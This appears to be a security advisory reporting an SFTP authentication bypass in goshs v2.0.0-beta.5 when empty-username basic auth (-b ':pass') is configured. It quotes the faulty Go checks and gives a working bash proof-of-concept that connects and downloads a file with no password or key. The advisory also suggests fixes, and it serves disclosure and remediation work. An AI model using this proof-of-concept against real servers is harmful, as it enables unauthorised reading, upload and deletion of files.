goshs has an empty-username SFTP password authentication bypass

Summary

goshs contains an SFTP authentication bypass when the documented empty-username basic-auth syntax is used. If the server is started with -b ':pass' together with -sftp, goshs accepts that configuration but does not install any SFTP password handler. As a result, an unauthenticated network attacker can connect to the SFTP service and access files without a password. I reproduced this on the latest release v2.0.0-beta.5.

Details

The help text explicitly documents empty usernames as valid authentication input:

• options/options.go:264-266 says Use basic authentication (user:pass - user can be empty)

The SFTP sanity check only requires that either -b or --sftp-keyfile is present:

if opts.SFTP && (opts.BasicAuth == "" && opts.SFTPKeyFile == "") {
    logger.Fatal("When using SFTP you need to either specify an authorized keyfile using -sfk or username and password using -b")
}

That parsing logic then splits -b ':pass' into an empty username and a non-empty password:

auth := strings.SplitN(opts.BasicAuth, ":", 2)
opts.Username = auth[0]
opts.Password = auth[1]

But the SFTP server only installs a password handler if both the username and password are non-empty:

if s.Username != "" && s.Password != "" {
    sshServer.PasswordHandler = func(ctx ssh.Context, password string) bool {
        return ctx.User() == s.Username && password == s.Password
    }
}

With -b ':pass', that condition is false, so no password authentication is enforced for SFTP sessions.

Relevant source locations:

• options/options.go:264-266
• sanity/checks.go:82-85
• sanity/checks.go:102-109
• sftpserver/sftpserver.go:82-85

PoC

I manually verified the issue on v2.0.0-beta.5. The server was started with the documented empty-user auth syntax -b ':pass', but an SFTP client still downloaded a file without supplying any key or password.

Manual verification commands used:

Terminal 1

cd '/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta5'
go build -o /tmp/goshs_beta5 ./

rm -rf /tmp/goshs_authless_root /tmp/authless_sftp.txt
mkdir -p /tmp/goshs_authless_root
printf 'root file\n' > /tmp/goshs_authless_root/test.txt

/tmp/goshs_beta5 -p 18102 -sftp -d /tmp/goshs_authless_root --sftp-port 2223 -b ':pass'

Terminal 2

printf 'get /tmp/goshs_authless_root/test.txt /tmp/authless_sftp.txt\nbye\n' | \
sftp -o PreferredAuthentications=none,password -o PubkeyAuthentication=no \
-o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -P 2223 -b - [email protected]

cat /tmp/authless_sftp.txt

Expected result:

• the SFTP session succeeds without a key
• there is no password prompt
• cat /tmp/authless_sftp.txt prints root file

PoC Video 1:

https://github.com/user-attachments/assets/1ef1539d-bf29-419b-a26e-46aa405effb4

Single-script verification:

'/Users/r1zzg0d/Documents/CVE hunting/output/poc/gosh_poc2'

gosh_poc2 script content:

#!/usr/bin/env bash
set -euo pipefail

REPO='/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta5'
BIN='/tmp/goshs_beta5_sftp_empty_user'
ROOT='/tmp/goshs_authless_root'
DOWNLOAD='/tmp/authless_sftp.txt'
HTTP_PORT='18102'
SFTP_PORT='2223'
SERVER_PID=""

cleanup() {
  if [[ -n "${SERVER_PID:-}" ]]; then
    kill "${SERVER_PID}" >/dev/null 2>&1 || true
    wait "${SERVER_PID}" 2>/dev/null || true
  fi
}
trap cleanup EXIT

echo '[1/5] Building goshs beta.5'
cd "${REPO}"
go build -o "${BIN}" ./

echo '[2/5] Preparing test root'
rm -rf "${ROOT}" "${DOWNLOAD}"
mkdir -p "${ROOT}"
printf 'root file\n' > "${ROOT}/test.txt"

echo "[3/5] Starting goshs with documented empty-user auth syntax on SFTP ${SFTP_PORT}"
"${BIN}" -p "${HTTP_PORT}" -sftp -d "${ROOT}" --sftp-port "${SFTP_PORT}" -b ':pass' \
  >/tmp/gosh_poc2.log 2>&1 &
SERVER_PID=$!

for _ in $(seq 1 40); do
  if python3 - <<PY
import socket
s = socket.socket()
try:
    s.connect(("127.0.0.1", ${SFTP_PORT}))
    raise SystemExit(0)
except OSError:
    raise SystemExit(1)
finally:
    s.close()
PY
  then
    break
  fi
  sleep 0.25
done

echo '[4/5] Connecting without password or key'
printf "get ${ROOT}/test.txt ${DOWNLOAD}\nbye\n" | \
  sftp -o PreferredAuthentications=none,password -o PubkeyAuthentication=no \
  -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -P "${SFTP_PORT}" -b - [email protected]

echo '[5/5] Verifying unauthenticated file access'
echo "Downloaded content: $(cat "${DOWNLOAD}")"

if [[ "$(cat "${DOWNLOAD}")" == 'root file' ]]; then
  echo '[RESULT] VULNERABLE: empty-user SFTP password auth leaves the server unauthenticated'
else
  echo '[RESULT] NOT REPRODUCED'
  exit 1
fi

PoC Video 2:

https://github.com/user-attachments/assets/b8f632b7-20f4-49f1-b207-b2502af49b77

Impact

This is an authentication bypass in the SFTP service. An external attacker does not need valid credentials to access the exposed SFTP root when the operator follows the documented -b ':pass' syntax. That enables unauthenticated reading, uploading, renaming, and deleting of files within the configured SFTP root, depending on server mode and filesystem permissions.

Remediation

Suggested fixes:

1. Install the SFTP password handler whenever a password is configured, even if the username is an empty string.
2. If empty usernames are not intended for SFTP, reject -b ':pass' during option validation whenever -sftp is enabled.
3. Add an integration test that starts SFTP with -b ':pass' and verifies that unauthenticated sessions are rejected.